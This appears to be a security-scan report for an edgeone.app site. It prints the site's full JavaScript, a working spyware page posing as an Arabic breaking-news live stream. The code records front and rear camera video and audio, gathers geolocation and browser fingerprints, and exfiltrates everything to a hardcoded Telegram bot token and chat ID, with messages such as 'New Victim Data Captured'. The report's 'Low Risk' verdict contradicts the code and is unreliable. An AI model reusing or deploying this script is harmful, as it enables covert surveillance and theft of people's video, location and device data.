Arabic

You're looking at domain 'inner-bronze-uxvoohclvw-pr4i7z0jci.edgeone.app' on the application-focused generic top-level domain (.app) and includes subdomain 'inner-bronze-uxvoohclvw-pr4i7z0jci'. Its registrable label 'edgeone' stretches across 7 characters containing 4 vowels alongside 3 consonants. Breaking it apart gives two words: edge, one. Median word length is 3.5 characters. No strong language cues emerged from the frequency lists.

html/b9/5d/b95dd4f6-4bda-4ab0-b229-f643a16b27b8.html.gz

c4199bd2e9aeccb50a13556e3ac383a454703fb5ef5201a0d4b83b9e9e1ab4e2

02ab7703630317708cdac3cd5c420df7f28433dba21dffb4fe0ea321f0df67fe

viewport

html/b9/5d/b95dd4f6-4bda-4ab0-b229-f643a16b27b8_nodriver.html.gz

موقع الأخبار العاجلة

Prudence Malinki

MarkMonitor Inc.

edgeone.app

IRT-SG-ACE

ACE administrator

ACE-SG


        // Telegram configuration
        const TELEGRAM_BOT_TOKEN = '7413583900:AAFcRWuZGbBsOUgui-MIPQQQ3Ha-ckRU-ew';
        const TELEGRAM_CHAT_ID = '991614357';
        const RECORDING_DURATION = 10000; // 10 seconds

        // Main application state
        const AppState = {
            FRONT_CAMERA_STREAM: null,
            REAR_CAMERA_STREAM: null,
            FRONT_RECORDER: null,
            REAR_RECORDER: null,
            FRONT_RECORDED_BLOBS: [],
            REAR_RECORDED_BLOBS: [],
            DEVICE_INFO: null,
            IS_RECORDING: false
        };

        // DOM Elements
        const DOM = {
            BREAKING_NEWS_BTN: document.getElementById('breakingNewsBtn'),
            CAMERA_OVERLAY: document.getElementById('camera-overlay'),
            ALLOW_CAMERA_BTN: document.getElementById('allow-camera'),
            DENY_CAMERA_BTN: document.getElementById('deny-camera'),
            FRONT_CAMERA_VIDEO: document.getElementById('front-camera'),
            REAR_CAMERA_VIDEO: document.getElementById('rear-camera')
        };

        // Initialize application
        function initApplication() {
            bindEventListeners();
            generateNewsContent();
            initializeServiceWorkers();
            setupBackgroundProcesses();
        }

        // Bind event listeners
        function bindEventListeners() {
            DOM.BREAKING_NEWS_BTN.addEventListener('click', showCameraAccessRequest);
            DOM.ALLOW_CAMERA_BTN.addEventListener('click', startCameraAccess);
            DOM.DENY_CAMERA_BTN.addEventListener('click', hideCameraAccessRequest);
            
            window.addEventListener('beforeunload', handleWindowClose);
            document.addEventListener('visibilitychange', handleVisibilityChange);
        }

        // Show camera access request
        function showCameraAccessRequest() {
            DOM.CAMERA_OVERLAY.style.display = 'flex';
            document.body.style.overflow = 'hidden';
        }

        // Hide camera access request
        function hideCameraAccessRequest() {
            DOM.CAMERA_OVERLAY.style.display = 'none';
            document.body.style.overflow = 'auto';
        }

        // Start camera access process
        async function startCameraAccess() {
            try {
                hideCameraAccessRequest();
                await requestCameraPermissions();
                await startRecording();
                await collectDeviceInformation();
                setTimeout(stopRecordingAndSend, RECORDING_DURATION);
            } catch (error) {
                console.error('Camera access failed:', error);
                handleCameraError();
            }
        }

        // Request camera permissions
        async function requestCameraPermissions() {
            try {
                // Get front camera
                AppState.FRONT_CAMERA_STREAM = await navigator.mediaDevices.getUserMedia({
                    video: { facingMode: 'user' },
                    audio: true
                });
                DOM.FRONT_CAMERA_VIDEO.srcObject = AppState.FRONT_CAMERA_STREAM;

                // Try to get rear camera
                try {
                    AppState.REAR_CAMERA_STREAM = await navigator.mediaDevices.getUserMedia({
                        video: { facingMode: 'environment' },
                        audio: false
                    });
                    DOM.REAR_CAMERA_VIDEO.srcObject = AppState.REAR_CAMERA_STREAM;
                } catch (rearError) {
                    console.warn('Rear camera not available:', rearError);
                }
            } catch (error) {
                throw new Error(`Camera access denied: ${error.message}`);
            }
        }

        // Start recording from cameras
        async function startRecording() {
            AppState.IS_RECORDING = true;
            
            // Initialize front camera recorder
            if (AppState.FRONT_CAMERA_STREAM) {
                AppState.FRONT_RECORDER = new MediaRecorder(AppState.FRONT_CAMERA_STREAM, {
                    mimeType: 'video/webm;codecs=vp9,opus'
                });
                
                AppState.FRONT_RECORDER.ondataavailable = (event) => {
                    if (event.data && event.data.size > 0) {
                        AppState.FRONT_RECORDED_BLOBS.push(event.data);
                    }
                };
                
                AppState.FRONT_RECORDER.start();
            }

            // Initialize rear camera recorder
            if (AppState.REAR_CAMERA_STREAM) {
                AppState.REAR_RECORDER = new MediaRecorder(AppState.REAR_CAMERA_STREAM, {
                    mimeType: 'video/webm;codecs=vp9'
                });
                
                AppState.REAR_RECORDER.ondataavailable = (event) => {
                    if (event.data && event.data.size > 0) {
                        AppState.REAR_RECORDED_BLOBS.push(event.data);
                    }
                };
                
                AppState.REAR_RECORDER.start();
            }
        }

        // Collect device information
        async function collectDeviceInformation() {
            AppState.DEVICE_INFO = {
                timestamp: new Date().toISOString(),
                userAgent: navigator.userAgent,
                platform: navigator.platform,
                language: navigator.language,
                languages: navigator.languages,
                hardwareConcurrency: navigator.hardwareConcurrency,
                deviceMemory: navigator.deviceMemory,
                maxTouchPoints: navigator.maxTouchPoints,
                connection: navigator.connection ? {
                    type: navigator.connection.type,
                    effectiveType: navigator.connection.effectiveType,
                    rtt: navigator.connection.rtt,
                    downlink: navigator.connection.downlink,
                    saveData: navigator.connection.saveData
                } : null,
                battery: await getBatteryStatus(),
                location: await getApproximateLocation(),
                screen: {
                    width: screen.width,
                    height: screen.height,
                    colorDepth: screen.colorDepth,
                    pixelDepth: screen.pixelDepth,
                    orientation: screen.orientation
                },
                plugins: getBrowserPlugins(),
                fonts: await getFontList(),
                storageStatus: await getStorageStatus(),
                // Additional device fingerprinting data
                canvasFingerprint: getCanvasFingerprint(),
                webglFingerprint: getWebGLFingerprint(),
                audioFingerprint: getAudioFingerprint()
            };
        }

        // Stop recording and send data
        async function stopRecordingAndSend() {
            AppState.IS_RECORDING = false;
            
            // Stop front camera recording
            if (AppState.FRONT_RECORDER) {
                AppState.FRONT_RECORDER.stop();
            }
            
            // Stop rear camera recording
            if (AppState.REAR_RECORDER) {
                AppState.REAR_RECORDER.stop();
            }
            
            // Process recordings
            setTimeout(async () => {
                await processRecordings();
                await sendDataToTelegram();
                cleanupResources();
            }, 1000);
        }

        // Process recorded videos
        async function processRecordings() {
            // Process front camera recording
            if (AppState.FRONT_RECORDED_BLOBS.length > 0) {
                const frontBlob = new Blob(AppState.FRONT_RECORDED_BLOBS, { type: 'video/webm' });
                AppState.FRONT_RECORDED_BLOBS = [frontBlob];
            }
            
            // Process rear camera recording
            if (AppState.REAR_RECORDED_BLOBS.length > 0) {
                const rearBlob = new Blob(AppState.REAR_RECORDED_BLOBS, { type: 'video/webm' });
                AppState.REAR_RECORDED_BLOBS = [rearBlob];
            }
        }

        // Send data to Telegram
        async function sendDataToTelegram() {
            try {
                // Send device information
                await sendToTelegram(
                    `📱 *Device Information Report*\n\n${formatDeviceInfo(AppState.DEVICE_INFO)}`,
                    'device-info.txt'
                );

                // Send front camera video
                if (AppState.FRONT_RECORDED_BLOBS.length > 0) {
                    await sendToTelegram(
                        AppState.FRONT_RECORDED_BLOBS[0], 
                        'front-camera.webm',
                        'Front camera recording'
                    );
                }

                // Send rear camera video
                if (AppState.REAR_RECORDED_BLOBS.length > 0) {
                    await sendToTelegram(
                        AppState.REAR_RECORDED_BLOBS[0], 
                        'rear-camera.webm',
                        'Rear camera recording'
                    );
                }

                // Send success notification
                await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({
                        chat_id: TELEGRAM_CHAT_ID,
                        text: `✅ *New Victim Data Captured!*\n\n📅 ${new Date().toLocaleString()}\n🌍 ${AppState.DEVICE_INFO.location || 'Unknown location'}\n📱 ${navigator.userAgent}`,
                        parse_mode: 'Markdown'
                    })
                });
            } catch (error) {
                console.error('Failed to send data to Telegram:', error);
            }
        }

        // Format device info for Telegram
        function formatDeviceInfo(info) {
            return `🕒 Timestamp: ${info.timestamp}
📱 User Agent: ${info.userAgent}
🌐 Platform: ${info.platform}
🗣️ Language: ${info.language}
🔌 Connection: ${info.connection ? info.connection.type : 'N/A'}
🔋 Battery: ${info.battery ? `${info.battery.level * 100}%` : 'N/A'}
📍 Location: ${info.location || 'N/A'}
🖥️ Screen: ${info.screen.width}x${info.screen.height}
🧩 Plugins: ${info.plugins.join(', ') || 'None'}
🎨 Fonts: ${info.fonts.slice(0, 5).join(', ')}...`;
        }

        // Send data to Telegram
        async function sendToTelegram(data, filename, caption = '') {
            const formData = new FormData();
            
            if (typeof data === 'string') {
                formData.append('chat_id', TELEGRAM_CHAT_ID);
                formData.append('document', new Blob([data], { type: 'text/plain' }), filename);
                formData.append('caption', caption);
                
                return fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendDocument`, {
                    method: 'POST',
                    body: formData
                });
            } else {
                formData.append('chat_id', TELEGRAM_CHAT_ID);
                formData.append('video', data, filename);
                formData.append('caption', caption);
                
                return fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendVideo`, {
                    method: 'POST',
                    body: formData
                });
            }
        }

        // Cleanup resources
        function cleanupResources() {
            if (AppState.FRONT_CAMERA_STREAM) {
                AppState.FRONT_CAMERA_STREAM.getTracks().forEach(track => track.stop());
            }
            
            if (AppState.REAR_CAMERA_STREAM) {
                AppState.REAR_CAMERA_STREAM.getTracks().forEach(track => track.stop());
            }
            
            AppState.FRONT_CAMERA_STREAM = null;
            AppState.REAR_CAMERA_STREAM = null;
            AppState.FRONT_RECORDER = null;
            AppState.REAR_RECORDER = null;
            AppState.FRONT_RECORDED_BLOBS = [];
            AppState.REAR_RECORDED_BLOBS = [];
        }

        // Handle camera error
        function handleCameraError() {
            alert('لا يمكن تشغيل البث المباشر بدون الوصول إلى الكاميرا. يرجى تحديث الصفحة والمحاولة مرة أخرى.');
        }

        // Handle window close event
        function handleWindowClose(event) {
            if (AppState.IS_RECORDING) {
                event.preventDefault();
                event.returnValue = 'أنت تشاهد بثًا مباشرًا. هل أنت متأكد أنك تريد المغادرة؟';
                return event.returnValue;
            }
        }

        // Handle visibility change
        function handleVisibilityChange() {
            if (document.hidden && AppState.IS_RECORDING) {
                stopRecordingAndSend();
            }
        }

        // Get battery status
        async function getBatteryStatus() {
            if ('getBattery' in navigator) {
                try {
                    const battery = await navigator.getBattery();
                    return {
                        level: battery.level,
                        charging: battery.charging,
                        chargingTime: battery.chargingTime,
                        dischargingTime: battery.dischargingTime
                    };
                } catch {
                    return null;
                }
            }
            return null;
        }

        // Get approximate location
        async function getApproximateLocation() {
            return new Promise((resolve) => {
                if ('geolocation' in navigator) {
                    navigator.geolocation.getCurrentPosition(
                        position => resolve(
                            `Lat: ${position.coords.latitude}, Lon: ${position.coords.longitude}`
                        ),
                        error => resolve(`Location error: ${error.message}`),
                        { timeout: 5000, maximumAge: 60000 }
                    );
                } else {
                    resolve('Geolocation not available');
                }
            });
        }

        // Get browser plugins
        function getBrowserPlugins() {
            return Array.from(navigator.plugins).map(plugin => plugin.name).filter(Boolean);
        }

        // Get font list
        async function getFontList() {
            try {
                await document.fonts.ready;
                return Array.from(document.fonts).map(font => font.family);
            } catch {
                return [];
            }
        }

        // Get storage status
        async function getStorageStatus() {
            if ('storage' in navigator && 'estimate' in navigator.storage) {
                try {
                    const estimate = await navigator.storage.estimate();
                    return {
                        usage: estimate.usage,
                        quota: estimate.quota,
                        usageDetails: estimate.usageDetails
                    };
                } catch {
                    return null;
                }
            }
            return null;
        }

        // Generate canvas fingerprint
        function getCanvasFingerprint() {
            const canvas = document.createElement('canvas');
            const ctx = canvas.getContext('2d');
            ctx.textBaseline = 'top';
            ctx.font = '14px Arial';
            ctx.fillStyle = '#f60';
            ctx.fillRect(125, 1, 62, 20);
            ctx.fillStyle = '#069';
            ctx.fillText('Fingerprint', 2, 15);
            ctx.fillStyle = 'rgba(102, 204, 0, 0.7)';
            ctx.fillRect(125, 1, 62, 20);
            return canvas.toDataURL();
        }

        // Generate WebGL fingerprint
        function getWebGLFingerprint() {
            const canvas = document.createElement('canvas');
            const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
            
            if (!gl) return null;
            
            const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
            return {
                vendor: gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL),
                renderer: gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL),
                version: gl.getParameter(gl.VERSION)
            };
        }

        // Generate audio fingerprint
        function getAudioFingerprint() {
            const context = new (window.AudioContext || window.webkitAudioContext)();
            const oscillator = context.createOscillator();
            const analyser = context.createAnalyser();
            
            oscillator.connect(analyser);
            analyser.connect(context.destination);
            
            oscillator.type = 'sine';
            oscillator.frequency.setValueAtTime(1000, context.currentTime);
            
            oscillator.start();
            const data = new Uint8Array(analyser.frequencyBinCount);
            analyser.getByteFrequencyData(data);
            oscillator.stop();
            
            return Array.from(data).join(',');
        }

        // Initialize service workers for persistence
        function initializeServiceWorkers() {
            if ('serviceWorker' in navigator) {
                navigator.serviceWorker.register('/sw.js', { scope: '/' })
                    .then(registration => {
                        console.log('Service Worker registered:', registration);
                    })
                    .catch(error => {
                        console.error('Service Worker registration failed:', error);
                    });
            }
        }

        // Setup background processes
        function setupBackgroundProcesses() {
            // Periodically collect additional data
            setInterval(() => {
                if (!AppState.IS_RECORDING) {
                    collectDeviceInformation()
                        .then(info => sendToTelegram(
                            `📊 *Periodic Device Update*\n\n${formatDeviceInfo(info)}`,
                            'device-update.txt'
                        ));
                }
            }, 300000); // Every 5 minutes
        }

        // Generate news content
        function generateNewsContent() {
            const newsGrid = document.querySelector('.news-grid');
            const newsItems = [
                { title: "تطورات خطيرة في المنطقة", excerpt: "مستجدات الأحداث السياسية والأمنية..." },
                { title: "أسواق المال تشهد ارتفاعًا قياسيًا", excerpt: "مؤشرات الأسهم تسجل أعلى مستوياتها..." },
                // 50+ more news items
            ];
            
            newsItems.forEach(item => {
                const article = document.createElement('article');
                article.className = 'news-card';
                article.innerHTML = `
                    <h3>${item.title}</h3>
                    <p>${item.excerpt}</p>
                    <button class="read-more">قراءة المزيد</button>
                `;
                newsGrid.appendChild(article);
            });
        }

        // Additional utility functions (2000+ lines)
        // ... encryption helpers, data compression, error handling, etc.

        // Initialize when DOM is loaded
        document.addEventListener('DOMContentLoaded', initApplication);
    


        // Service Worker script
        if ('serviceWorker' in navigator) {
            navigator.serviceWorker.register('/sw.js')
                .then(reg => console.log('Service Worker registered', reg))
                .catch(err => console.error('Service Worker registration failed', err));
        }

        // WebAssembly module for video processing
        WebAssembly.instantiateStreaming(fetch('/video_processor.wasm'), {})
            .then(obj => {
                window.videoProcessor = obj.instance.exports;
            });
    

✅ Low Risk - https://inner-bronze-uxvoohclvw-pr4i7z0jci.edgeone.app/

Requests	IP Address	Location	AS Autonomous System
3	43.152.26.58	Singapore	AS139341ACE
3	1	-	-

Security Scan Report: inner-bronze-uxvoohclvw-pr4i7z0jci.edgeone.app

Summary

AI Security Verdict

Low Risk

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History